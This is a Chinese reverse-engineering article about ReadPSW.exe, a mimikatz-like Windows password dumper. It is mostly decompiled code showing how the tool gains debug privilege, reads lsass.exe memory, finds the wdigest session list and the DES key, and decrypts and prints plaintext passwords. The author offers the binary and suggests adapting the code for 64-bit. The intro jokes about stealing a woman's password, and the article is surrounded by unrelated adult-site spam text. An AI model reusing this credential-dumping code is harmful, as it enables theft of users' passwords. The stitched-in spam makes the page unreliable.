精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

對windows密碼抓取神器mimikatz的逆向分析

安全 數據安全
mimikatz可謂獲取windows明文密碼神器,新版本更是加上了64位支持。用過一個小型獲取明文密碼程序,只有一個可執行文件ReadPSW.exe,通過逆向寫出了源代碼,稍微改改可能也可以支持64位。分享一下逆向過程和工作原理。

mimikatz可謂獲取windows明文密碼神器,新版本更是加上了64位支持。用過一個小型獲取明文密碼程序,只有一個可執行文件ReadPSW.exe,通過逆向寫出了源代碼,稍微改改可能也可以支持64位。分享一下逆向過程和工作原理。

了解mimikatz

只要借用一下電腦,便可輕松拿到密碼……“女神,借用電腦一看可否?”

大神們都知道的東西吧,滲透測試常用工具。法國一個牛B的人寫的輕量級調試器,可以幫助安全測試人員抓取Windows密碼。

mimikatz 最近發布了它的2.0版本,抓密碼命令更加簡單了,估計作者也看到了對它這個神器最多的研究就是直接抓密碼,為神馬不發布一個直接一鍵版,哈哈哈哈哈。新功能還包括能夠通過獲取的kerberos登錄憑據,繞過支持RestrictedAdmin模式的win8或win2012svr的遠程終端(RDP) 的登陸認證。建議默認禁止RestrictedAdmin模式登錄。更多內容點我

逆向過程

我喜歡先用IDA看大致流程,遇到難以靜態看出來的函數再用OD或者windbg。IDA F5 main函數,一段一段的看。

  1. int __cdecl main_0()  
  2. {  
  3.   int hdll; // eax@15  
  4.   HMODULE ModuleSecur32; // eax@15  
  5.   int LsaEnumerateLogonSessions; // eax@15  
  6.   int LsaGetLogonSessionData; // eax@15  
  7.   int LsaFreeReturnBuffer; // eax@15  
  8.   int bcrypt; // eax@27  
  9.   int hbcrypt; // eax@27  
  10.   int bcryptprimitives; // eax@27  
  11.   int hbcryptprimitives; // eax@27  
  12.   int status7; // eax@27  
  13.   const void *Base; // [sp+7Ch] [bp-2E0h]@25  
  14.   SIZE_T nSize; // [sp+80h] [bp-2DCh]@25  
  15.   int pLsaFreeReturnBuffer; // [sp+88h] [bp-2D4h]@15  
  16.   int pLsaGetLogonSessionData; // [sp+8Ch] [bp-2D0h]@15  
  17.   int pLsaEnumerateLogonSessions; // [sp+90h] [bp-2CCh]@15  
  18.   HMODULE Secur32; // [sp+94h] [bp-2C8h]@15  
  19.   LPCVOID l_LogSessList; // [sp+98h] [bp-2C4h]@15  
  20.   int LsaUnprotectMemory; // [sp+9Ch] [bp-2C0h]@15  
  21.   struct _OSVERSIONINFOA VersionInformation; // [sp+A8h] [bp-2B4h]@5  
  22.   HANDLE Lsass; // [sp+13Ch] [bp-220h]@3  
  23.   LPCVOID List[128]; // [sp+140h] [bp-21Ch]@18  
  24.   LPCVOID *First; // [sp+340h] [bp-1Ch]@20  
  25.   int LogonSessionNow; // [sp+344h] [bp-18h]@18  
  26.   int ListEntry; // [sp+348h] [bp-14h]@15  
  27.   SIZE_T NumberOfBytesRead; // [sp+34Ch] [bp-10h]@18  
  28.   int hDllLsasrv; // [sp+358h] [bp-4h]@15  

變量名大多是修改過的,通過分析子函數的功能做相應的改變,看起來方便一些。

  1. memset(&tt, -858993460, 0x320u);  
  2.  if ( EnableDebugPrivilege() != 1 )  
  3.    printf("EnableDebugPrivilege fail !"); 

首先提權,比較簡單:

  1. pToken = &TokenHandle;  
  2. dwAccess = TOKEN_ALL_ACCESS;  
  3. ProcessHandle = GetCurrentProcess();  
  4. retProcessHandle = _chkesp(&dwAccess == &dwAccess, ProcessHandle, &dwAccess);  
  5. status = OpenProcessToken(retProcessHandle, dwAccess, pToken);  
  6.     status1 = LookupPrivilegeValueA(0, "SeDebugPrivilege", &Luid);  
  7. NewState.PrivilegeCount = 1;  
  8. NewState.Privileges[0].Luid.LowPart = Luid.LowPart;  
  9. NewState.Privileges[0].Luid.HighPart = Luid.HighPart;  
  10. NewState.Privileges[0].Attributes = 2;  
  11. status2 = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);  

接著main函數流程:

  1. Lsass = GetProcessHandle("lsass.exe");  
  2.   if ( Lsass )  
  3.   {  
  4.     offset_one = 0;  
  5.     offset_two = -1;  
  6.     memset(&VersionInformation, 0, 0x94u);  
  7.     VersionInformation.dwOSVersionInfoSize = 148;  
  8.     status = GetVersionExA(&VersionInformation);  
  9.     _chkesp(&t == &t, status, &v48);  
  10.     if ( VersionInformation.dwMajorVersion == 5 )  
  11.     {  
  12.       if ( VersionInformation.dwMinorVersion == 1 )  
  13.       {  
  14.         offset_one = 36;  
  15.         offset_two = 2;  
  16.       }  
  17.       else  
  18.       {  
  19.         if ( VersionInformation.dwMinorVersion == 2 )  
  20.         {  
  21.           offset_one = 28;  
  22.           offset_two = 4;  
  23.         }  
  24.       }  
  25.     }  
  26.     else  
  27.     {  
  28.       if ( VersionInformation.dwMajorVersion == 6 )  
  29.       {  
  30.         offset_one = 32;  
  31.         offset_two = 1;  
  32.       }  
  33.     }  
  34.     if ( offset_two == -1 )  
  35.     {  
  36.       status12 = CloseHandle(Lsass);  
  37.       _chkesp(&t == &t, status12, &v48);  
  38.       returned = 0;  
  39.     } 

上面工作主要是:獲取lsass.exe進程句柄、根據不同版本賦值兩個偏移量??梢钥闯鲋С謝p和2003,之后版本vista、win7等使用同一偏移量。

  1. else  
  2.   {  
  3.     hdll = LoadLibraryA("lsasrv.dll");  
  4.     hDllLsasrv = _chkesp(&t == &t, hdll, &v48);  
  5.     LsaUnprotectMemory = GetFunctionAddr(hDllLsasrv, 0x7FFFDDDDu, db_8b_ff, 14u); 

這個GetFunctionAddr是我重命名的,跟進去看一下實現就知道了:

  1. int __cdecl GetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)  
  2. {  
  3.   return RealGetFunctionAddr(Module, Limit, Symbol, Length);  
  4. }  

是一個跳轉,接著跟進:

  1. int __cdecl RealGetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)  
  2. {  
  3.   while ( Length + Module <= Limit )  
  4.   {  
  5.     label = Symbol;  
  6.     for ( i = 0; i < Length && *Module == *label; ++i )  
  7.     {  
  8.       ++Module;  
  9.       ++label;  
  10.     }  
  11.     if ( i == Length )  
  12.       break;  
  13.     ModuleModule = Module - i + 1;  
  14.   }  
  15.   return result;  
  16. }  

是用特征碼查找函數地址的,想知道是什么函數最好用windbg跟一下,發現找到了lsasrv.dll的LsaUnprotectMemory 函數,這里我也對變量名進行了重命名。該函數用于解密LsaProtectMemory加密內存,這兩個函數在LSA中用得非常多。

  1. l_LogSessList = GetWdigestl_LogSessList();  
  2. DesKey(Lsass, hDllLsasrv, offset_two);  

這兩個函數挺關鍵,需要結合OD動態調試,先看第一個,中間有個類似上面的跳轉,直接看實現函數:

  1. unsigned int __cdecl RealGetFunction()  
  2. {  
  3.   HMODULE hModule; // eax@1  
  4.   unsigned int moduleBase; // [sp+4Ch] [bp-10h]@1  
  5.   unsigned int returned; // [sp+50h] [bp-Ch]@1  
  6.   int SpInstanceInit; // [sp+54h] [bp-8h]@1  
  7.   HMODULE hLibModule; // [sp+58h] [bp-4h]@1  
  8.    
  9.   memset(&v6, -858993460, 0x50u);  
  10.   t1 = LoadLibraryA("wdigest.dll");  
  11.   hModule = _chkesp(&v5 == &v5, t1, &v11);  
  12.   hLibModule = hModule;  
  13.   v2 = GetProcAddress(hModule, "SpInstanceInit");  
  14.   SpInstanceInit = _chkesp(&v5 == &v5, v2, &v11);  
  15.   moduleBase = hLibModule;  
  16.   returned = 0;  
  17.   while ( moduleBase < SpInstanceInit && moduleBase )  
  18.   {  
  19.     returned = moduleBase;  
  20.     moduleBase = GetFunctionAddr(moduleBase + 8, SpInstanceInit, db_8b_45, 8u);  
  21.   }  
  22.   returned = *(returned - 4);  
  23.   status = FreeLibrary(hLibModule);  
  24.   _chkesp(&v5 == &v5, status, &v11);  
  25.   return returned;  

首先加載wdigest.dll模塊,這里有詳細的介紹。然后獲取SpInstanceInit的地址,接著是一個查找函數的循環,根據特征碼在SpInstanceInit地址低位查找某個地址,使用windbg可以看到要找的東西:

0:000> ln eax

(742ec29c) +0xc29c

這并不是一個函數,具體的作用現在還不知道。后面會用到。

看下面的函數,這個函數實際上是用來產生DES的密鑰:

  1. const void *__cdecl make_DESKey(HANDLE hProcessLsass, int hDllLsasrv, int offset)  
  2. {  
  3.   int status; // eax@1  
  4.   const void *dwResult; // eax@1  
  5.   int Key; // eax@4  
  6.   char buffer; // [sp+Ch] [bp-68h]@1  
  7.   int OSVersion; // [sp+4Ch] [bp-28h]@1  
  8.   unsigned int HeapReverse; // [sp+50h] [bp-24h]@1  
  9.   const void *Buffer; // [sp+54h] [bp-20h]@4  
  10.   LPCVOID g_pDESXKey; // [sp+58h] [bp-1Ch]@4  
  11.   LPCVOID lpBuffer; // [sp+5Ch] [bp-18h]@1  
  12.   SIZE_T NumberOfBytesRead; // [sp+60h] [bp-14h]@1  
  13.   SIZE_T nSize; // [sp+64h] [bp-10h]@1  
  14.   int pImageNtHeaders; // [sp+68h] [bp-Ch]@1  
  15.   int hTmpDllLsasrv; // [sp+6Ch] [bp-8h]@1  
  16.   int DataSECTION; // [sp+70h] [bp-4h]@1  
  17.   int v27; // [sp+74h] [bp+0h]@1  
  18.    
  19.   memset(&buffer, -858993460, 0x68u);  
  20.   hTmpDllLsasrv = hDllLsasrv;  
  21.   DataSECTION = *(hDllLsasrv + 60) + hDllLsasrv + 288;  
  22.   lpBuffer = (hDllLsasrv + *(DataSECTION + 12));  // 獲取lsasrv.dll的數據區  
  23.   nSize = ((*(DataSECTION + 8) >> 12) + 1) << 12;   // 數據區大小  
  24.   status = ReadProcessMemory(hProcessLsass, lpBuffer, lpBuffer, nSize, &NumberOfBytesRead); //讀取數據區內容  
  25.   _chkesp(&v15 == &v15, status, &v27);  
  26.   pImageNtHeaders = hDllLsasrv + *(hTmpDllLsasrv + 60);  
  27.   HeapReverse = hDllLsasrv + *(pImageNtHeaders + 80);  
  28.   dwResult = offset;  
  29.   OSVersion = offset;  
  30.   if ( offset == 1 )  
  31.   {  
  32.     v8 = LoadLibraryA("bcrypt.dll");  
  33.     _chkesp(&v15 == &v15, v8, &v27);  
  34.     v9 = LoadLibraryA("bcryptprimitives.dll");  
  35.     _chkesp(&v15 == &v15, v9, &v27);  
  36.     v10 = GetFunctionAddr(hDllLsasrv, HeapReverse, "3儀E鑌b", 0xCu);   //根據特征碼查找存放DES_KEY的地址  
  37.     g_pDESXKey = v10;  
  38.     g_pDESXKey = *(v10 - 1);  
  39.     v11 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);  
  40.     _chkesp(&v15 == &v15, v11, &v27);  
  41.     v12 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead);    // 通過兩次內存查找找到KEY  
  42.     _chkesp(&v15 == &v15, v12, &v27);  
  43.     lpBuffer = g_pDESXKey;  
  44.     *g_pDESXKey = &t_Key;  
  45.     v13 = ReadProcessMemory(hProcessLsass, lpBaseAddress, &unk_42BFB8, 0x200u, &NumberOfBytesRead);  
  46.     _chkesp(&v15 == &v15, v13, &v27);  
  47.     lpBuffer = &lpBaseAddress;  
  48.     lpBaseAddress = &unk_42BFB8;  
  49.     v14 = ReadProcessMemory(hProcessLsass, dword_42AFC4, &unk_42ADB8, 0x200u, &NumberOfBytesRead);  
  50.     dwResult = _chkesp(&v15 == &v15, v14, &v27);  
  51.     dword_42AFC4 = &unk_42ADB8;  
  52.   }  
  53.   else  
  54.   {  
  55.     if ( OSVersion == 2 || OSVersion == 4 )  
  56.     {  
  57.       Key = GetFunctionAddr(hDllLsasrv, HeapReverse, Key_Symbol, 0xCu);  
  58.       g_pDESXKey = Key;  
  59.       g_pDESXKey = *(Key + 12);  
  60.       v6 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);  
  61.       _chkesp(&v15 == &v15, v6, &v27);  
  62.       v7 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead);  
  63.       _chkesp(&v15 == &v15, v7, &v27);  
  64.       dwResult = g_pDESXKey;  
  65.       lpBuffer = g_pDESXKey;  
  66.       *g_pDESXKey = &t_Key;  
  67.     }  
  68.   }  
  69.   return dwResult;  
  70. }  

根據最初得到的偏移,讀取進程地址空間,獲取DES的密鑰。了解了這兩個函數內容接著回歸main函數:

  1. status13 = LoadLibraryA("Secur32.dll");  
  2. ModuleSecur32 = _chkesp(&t == &t, status13, &v48);  
  3. Secur32 = ModuleSecur32;  
  4. LsaEnumerateLogonSessions = GetProcAddress(ModuleSecur32, "LsaEnumerateLogonSessions");  
  5. pLsaEnumerateLogonSessions = _chkesp(&t == &t, LsaEnumerateLogonSessions, &v48);  
  6. LsaGetLogonSessionData = GetProcAddress(Secur32, "LsaGetLogonSessionData");  
  7. pLsaGetLogonSessionData = _chkesp(&t == &t, LsaGetLogonSessionData, &v48);  
  8. LsaFreeReturnBuffer = GetProcAddress(Secur32, "LsaFreeReturnBuffer");  
  9. pLsaFreeReturnBuffer = _chkesp(&t == &t, LsaFreeReturnBuffer, &v48);  
  10. us1 = (pLsaEnumerateLogonSessions)(&count, &ListEntry);  

加載secur32.dll,然后獲取幾個函數的地址,枚舉登陸會話和獲取登陸會話數據。接著調用LsaEnumerateLogonSessions得到當前登錄的會話個數以及所有會話組成的列表。MSDN上說明了這個函數,會返回會話的LUID。

  1.     _chkesp(&t == &t, status1, &v48);  
  2.       for ( i = 0; i < count; ++i )  
  3.       {  
  4.         LogonSessionNow = ListEntry + 8 * i;// 根據這里可以知道  
  5.         output_name_session(pLsaGetLogonSessionData, pLsaFreeReturnBuffer, ListEntry + 8 * i);  // 這里輸出登陸用戶名  
  6.    
  7. 進入output_name_session看看:  
  8. int __cdecl output_name_session_real(int (__stdcall *pLsaGetLogonSessionData)(_DWORD, _DWORD), int (__stdcall *pLsaFreeReturnBuffer)(_DWORD), int LogonSessionNow)  
  9. {  
  10.   int status; // eax@1  
  11.   int status1; // eax@1  
  12.   char v6; // [sp+0h] [bp-50h]@1  
  13.   char v7; // [sp+Ch] [bp-44h]@1  
  14.   int LogonSessionData; // [sp+4Ch] [bp-4h]@1  
  15.   int v9; // [sp+50h] [bp+0h]@1  
  16.    
  17.   memset(&v7, -858993460, 0x44u);  
  18.   status = pLsaGetLogonSessionData(LogonSessionNow, &LogonSessionData);  
  19.   _chkesp(&v6 == &v6, status, &v9);  
  20.   printf("UserName: %S\n", *(LogonSessionData + 16));  
  21.   printf("LogonDomain: %S\n", *(LogonSessionData + 24));  
  22.   status1 = pLsaFreeReturnBuffer(LogonSessionData);  
  23.   return _chkesp(&v6 == &v6, status1, &v9);  
  24. }  
  25. 這里用了之前查找的LsaGetLogonSessionData和LsaFreeReturnBuffer,輸出登陸名和域名。  
  26.    
  27.         status3 = ReadProcessMemory(Lsass, l_LogSessList, List, 0x100u, &NumberOfBytesRead);   // 這里讀取之前獲取的那個不明地址內容到List  
  28.         _chkesp(&t == &t, status3, &v48);  
  29.         while ( List[0] != l_LogSessList )  
  30.         {  
  31.           status4 = ReadProcessMemory(Lsass, List[0], List, 0x100u, &NumberOfBytesRead);  
  32.           _chkesp(&t == &t, status4, &v48);  
  33.           First = &List[4];  
  34.           if ( List[4] == *LogonSessionNow )  
  35.           {  
  36.             if ( First[1] == *(LogonSessionNow + 4) )       //  這個First[1]看著太別扭了,實際上就是比較List[4]和枚舉到的會話LUID值  
  37.               break;//  這里可以知道之前那個不明地址<Unloaded_wdigest.dll>+0xc29c是個列表  
  38.           }  
  39.         }  
  40.         if ( List[0] == l_LogSessList )  
  41.         {  
  42.           printf("Specific LUID NOT found\n");  
  43.         }  
  44.         else  
  45.         {  
  46.           nSize = 0;  
  47.           v28 = (offset_one + First);  
  48.           nSize = *(offset_one + First + 2);  
  49.           Base = *(offset_one + First + 4);                    //  還是使用了First,不要忘記First是從當時那個不明地址處讀取的值  
  50.           memset(Buffer2, 0, 0x100u);  
  51.           status2 = ReadProcessMemory(Lsass, Base, Buffer2, nSize, &NumberOfBytesRead);  
  52.           _chkesp(&t == &t, status2, &v47);//  這里讀到加密之后的密碼。整個流程就清楚了,使用LsaEnumerateSessions獲取LUIDs,與之前通過特征碼找到的l_LogSessList結合找出密碼。l_LogSessList保存了密碼的長度和存放地址以及會話LUID,是個重要的未公開結構體。  
  53.           status5 = (LsaUnprotectMemory)(Buffer2, nSize);  
  54.           _chkesp(&t == &t, status5, &v47);  
  55.           printf("password: %S\n\n", Buffer2);  
  56.         } 

后面是一些釋放dll和內存的工作,不再贅述。程序和IDA數據庫右鍵圖片可以得到。

責任編輯:藍雨淚 來源: 吾愛破解論壇
相關推薦

2014-06-26 16:58:32

mimikatz2.0密碼抓取

2016-06-27 09:37:35

2020-09-21 09:58:01

Frida

2015-08-21 17:52:52

逆向分析BinNavi

2018-08-20 13:46:59

Android逆向分析終端安全

2020-08-24 14:21:27

app爬蟲Python

2018-08-22 09:15:31

2014-07-01 10:09:01

2022-10-20 10:37:44

2010-09-30 09:40:45

2012-12-26 13:39:47

2016-10-24 14:53:30

Android app使用技巧

2009-03-18 08:56:39

2012-05-18 09:54:05

2024-08-06 09:54:20

2023-09-11 08:40:34

AOTVMP代碼

2025-03-14 00:00:00

2010-03-03 15:39:50

Python抓取網頁內

2011-03-24 10:59:11

NagiosWindows監控

2017-12-13 15:10:40

Linux性能分析神器BPF
點贊
收藏

51CTO技術棧公眾號

亚洲国产美女久久久久| 人人超碰91尤物精品国产| 欧美日韩一二三| 天堂资源在线亚洲视频| 中文字幕a级片| 99精品全国免费观看视频软件| 欧美久久久久久久久| 日韩精品一区二区三区电影| 亚洲成人中文字幕在线| aa亚洲婷婷| 亚洲视频一区二区三区| 色www免费视频| 中文字幕在线观看播放| 成人黄色777网| 国产成人avxxxxx在线看| 蜜桃av.com| 国产suv精品一区| 色哦色哦哦色天天综合| 美乳视频一区二区| 国产又粗又黄又爽的视频| 91中文字幕精品永久在线| 欧美成人猛片aaaaaaa| 拔插拔插海外华人免费| 国产一二三区在线| 国产激情精品久久久第一区二区 | 欧美激情亚洲一区| 久久精品国产亚洲av久| 欧美电影院免费观看| 色欧美片视频在线观看| 久久国产精品免费观看| 五月婷婷丁香六月| 国产一区二区三区美女| 国产成人激情小视频| 久久久久久欧美精品se一二三四 | 久久久久欧美| 国产伦精品一区二区三区免.费 | 国产一区二区视频播放| 在线国产情侣| 91在线观看一区二区| 99r国产精品视频| 亚洲精品成人在线视频| 午夜国产精品视频| 精品国产乱码久久| 日本中文字幕观看| 免费在线观看一区| 狠狠爱在线视频一区| 日本wwwcom| 国产在线你懂得| av午夜一区麻豆| 欧美一区二区三区图| 99久久婷婷国产综合| 成久久久网站| 国产视频久久久| 制服丝袜av在线| 国产精品一区免费在线| 欧美日韩久久一区| 日本美女高潮视频| 男人皇宫亚洲男人2020| 亚洲18女电影在线观看| 久久人妻无码一区二区| 免费网站黄在线观看| 国产午夜亚洲精品不卡| 久久五月天婷婷| 无码国产色欲xxxx视频| 粉嫩aⅴ一区二区三区四区五区| 成人激情综合网| 国产九色91回来了| 日韩国产欧美视频| 国产精品香蕉av| 在线视频欧美亚洲| 美女一区二区视频| 国产精品一区二区久久国产| 国产精品高清无码| 麻豆中文一区二区| 国产精品www| 影音先锋亚洲天堂| 亚洲一级二级| 久久91精品国产91久久跳| 日本精品在线免费观看| 亚洲最新色图| 欧美激情视频网| 麻豆疯狂做受xxxx高潮视频| 中出一区二区| 欧美黑人狂野猛交老妇| 国产午夜福利片| 六月天综合网| 国产精品久在线观看| 97超碰资源站| 国产精品2024| 国产视频一区二区三区四区| 四虎影视精品成人| 国产欧美一区二区三区在线看蜜臀| 视频一区二区在线观看| 巨大荫蒂视频欧美大片| 一区二区三区在线免费播放| 青青在线免费观看| 日韩脚交footjobhd| 色综合久久久网| 欧美日韩在线免费播放| 国产精品久久久久久久久久辛辛 | 久久久亚洲影院你懂的| 日产精品久久久| 日韩中文字幕不卡| 91久久精品国产91久久性色| 手机在线观看毛片| 欧美极品美女视频| 国产三级中文字幕| 男人天堂视频在线观看| 欧美色窝79yyyycom| 国产成人av免费观看| 一区二区三区在线免费看| 亚洲激情视频网站| 免费观看特级毛片| 一区在线视频观看| 国产精品美女www| 亚洲第一色视频| 久久久精品2019中文字幕之3| 一区二区高清视频| 高清视频在线观看三级| 欧美日韩亚洲不卡| 好吊色视频一区二区三区| 成人av二区| 不卡中文字幕av| 精品人妻一区二区三区潮喷在线| 国产一区不卡精品| 日韩国产一区久久| 91桃色在线观看| 在线不卡中文字幕播放| 色婷婷在线影院| 亚洲一区 二区 三区| 欧亚精品在线观看| www.四虎在线观看| 国产亚洲精品资源在线26u| 超碰97免费观看| 色戒汤唯在线观看| 日韩西西人体444www| 97超碰在线资源| 影音国产精品| 91久久极品少妇xxxxⅹ软件| 国产区高清在线| 精品国产乱码久久久久久婷婷| 日韩欧美黄色动漫| 日韩一二三区不卡在线视频| gogo高清午夜人体在线| 制服丝袜成人动漫| 国产调教在线观看| 久热精品视频| 免费观看成人在线| 欧美午夜大胆人体| 欧美一级片在线观看| 男人在线观看视频| 日本网站在线观看一区二区三区| 久久伊人资源站| segui88久久综合9999| 精品三级av在线| 久久精品无码一区| 亚洲精品少妇| 97伦理在线四区| 性xxxxbbbb| 亚洲一级二级三级| 日本xxxx免费| 欧美三级视频| 成人av免费看| 秋霞在线视频| 精品国免费一区二区三区| 亚洲一二三四视频| 久久黄色级2电影| 伊人久久青草| 国产精品久久免费视频| 欧美久久精品一级黑人c片| 91精品国产乱码久久久| 国产精品天天摸av网| 波多野结衣xxxx| 久久久综合色| 国产精品大陆在线观看| 成人激情电影在线看| 精品国产91乱高清在线观看| 95视频在线观看| 亚洲三级电影在线观看| 精品日本一区二区三区在线观看| 亚洲少妇视频| 在线观看亚洲视频| 一级黄色录像大片| 亚洲猫色日本管| 99久久久无码国产精品性波多| 一区免费视频| 欧美另类高清视频在线| 国产香蕉久久| 中文字幕不卡av| 国产精品久久久久久久久久久久久久久久久久 | 在线成人性视频| 秋霞一区二区三区| 777午夜精品福利在线观看| 欧美日韩在线精品一区二区三区激情综 | 日韩精品久久久久久福利| 免费看毛片网站| 中文字幕一区二区5566日韩| 欧美精品色视频| 亚洲人人精品| 亚洲电影一二三区| 日韩成人精品一区二区三区| 九色精品美女在线| 欧美午夜黄色| 正在播放亚洲一区| 欧美日韩偷拍视频| 久久综合久久综合九色| 免费av不卡在线| 欧美三级免费| 图片区小说区区亚洲五月| 国产a亚洲精品| 欧美激情第99页| yiren22亚洲综合伊人22| 日韩一级片网站| 特级西西444www大精品视频免费看| 久久久久九九视频| 人妻巨大乳一二三区| 香蕉成人久久| 国产制服91一区二区三区制服| 神马午夜久久| 成人免费视频a| 中文日产幕无线码一区二区| 大胆欧美人体视频| 精品视频一二三| 9191成人精品久久| 一级成人黄色片| 玉足女爽爽91| 波多野结衣一二三四区| www.在线欧美| 日本不卡一区二区在线观看| 日韩午夜黄色| 亚洲午夜在线观看| 在线一级成人| 97视频资源在线观看| 美女视频一区| 国产精品r级在线| 成人性生交大片免费看网站| 中文字幕亚洲一区二区三区| 天天操天天干天天| 日韩精品资源二区在线| 国产精品久久久久久69| 欧美系列一区二区| 国产精品suv一区二区三区| 中文字幕视频一区二区三区久| 91中文字幕永久在线| 国产在线视视频有精品| 在线观看亚洲色图| 天堂一区二区在线| 欧美一区二区三区爽大粗免费| 国产精品二区影院| 国产成人精品免费看在线播放| av资源久久| 欧美日本韩国国产| 日韩人体视频| 成人黄色在线免费观看| 青青热久免费精品视频在线18| 日韩av电影国产| 美脚恋feet久草欧美| 欧美精品国产精品日韩精品| av网站免费在线观看| 久久视频国产精品免费视频在线| 在线免费观看的av网站| 亚洲欧美第一页| 欧美午夜黄色| 亚洲国产精品大全| 黄色aaa毛片| 精品久久久久久久人人人人传媒 | 91久久精品一区二区| av图片在线观看| 日本精品一级二级| 日韩精品一区二区亚洲av观看| 亚洲一区二区三区四区的 | 欧美在线视频精品| 欧美综合色免费| 一级特黄aa大片| 欧美日精品一区视频| 亚洲性生活大片| 欧美一级视频精品观看| 久久久久亚洲视频| 欧美自拍丝袜亚洲| 国产精品视频一区二区三区,| 欧美久久一二三四区| 国产内射老熟女aaaa∵| 日韩免费视频线观看| 亚洲欧美高清视频| 亚洲成人aaa| 欧美亚洲精品在线观看| 日韩av中文字幕在线播放| 国外av在线| 日韩性生活视频| 日本成人不卡| 欧洲成人午夜免费大片| 欧美特黄色片| 丁香五月网久久综合| 综合国产视频| 日韩久久久久久久| 色婷婷亚洲mv天堂mv在影片| 天堂精品一区二区三区| 在线免费观看日本欧美爱情大片| 美女扒开大腿让男人桶| 久久精品麻豆| 久久精品亚洲天堂| 99riav久久精品riav| 亚洲欧美日韩第一页| 一区二区三区视频在线观看| 国产成人精品一区二三区| 黑人巨大精品欧美一区二区一视频 | 97公开免费视频| 国产毛片精品国产一区二区三区| 在线免费观看污视频| 国产精品久久久久久久久免费相片| 免费在线观看日韩| 欧美网站一区二区| 人人妻人人澡人人爽人人欧美一区| 亚洲视频综合网| 免费av网站在线看| 欧美在线一级va免费观看| 天堂综合在线播放| 蜜桃av噜噜一区二区三| 中出一区二区| 天天碰免费视频| 成人晚上爱看视频| 99成人在线观看| 精品久久久久久中文字幕一区奶水| 中文字幕在线播放av| 精品国产91久久久久久久妲己| 91大神xh98hx在线播放| 国模gogo一区二区大胆私拍| 久久久国产精品网站| 久久精品美女| 欧美好骚综合网| 成年人在线看片| 99久久伊人精品| 欧美片一区二区| 欧美日韩亚洲高清一区二区| 性xxxx视频| 欧美激情在线狂野欧美精品| 欧美成人黑人| 久久久综合香蕉尹人综合网| 欧美三区在线| 国产日韩欧美久久| 国产无人区一区二区三区| 91porny在线| 日韩精品在线电影| 欧美成人资源| 先锋影音亚洲资源| 久久精品国产亚洲高清剧情介绍| 国产小视频你懂的| 欧美一区二区三区影视| 日韩激情av| 精品欧美国产| 视频在线在亚洲| 中文字幕精品亚洲| 在线播放欧美女士性生活| av网站在线免费| 国产高清在线一区二区| 99在线观看免费视频精品观看| 国产麻豆天美果冻无码视频 | 手机在线成人免费视频| 国产精品乱人伦| 国产又大又长又粗| 欧美激情第6页| 免费一区二区| 日本免费色视频| 亚洲一区二区偷拍精品| 日韩精品视频无播放器在线看 | 精品国产一区久久久| 麻豆精品一区| 亚洲不卡中文字幕无码| 国产日韩一级二级三级| 国产精品无码免费播放| 欧美精品久久久久a| 亚洲美女久久| 热久久久久久久久| 亚洲丶国产丶欧美一区二区三区| 水中色av综合| 国产精品视频一| 午夜精品久久99蜜桃的功能介绍| 日韩免费高清一区二区| 精品视频在线免费| 在线观看男女av免费网址| 精品在线视频一区二区| 看电视剧不卡顿的网站| 久久这里只有精品国产| 亚洲午夜色婷婷在线| 国产精品亚洲一区二区在线观看 | 五月天av在线| 一区二区三区|亚洲午夜| 丁香婷婷综合五月| 国产精华7777777| 欧美国产激情18| 欧美色图在线播放| 免费不卡的av| 欧美日韩一二区| 亚洲精品一区| 妺妺窝人体色www看人体| 亚洲国产精品99久久久久久久久| 成人免费公开视频| 国产日本欧美一区二区三区| 国产亚洲一级| 久久黄色小视频|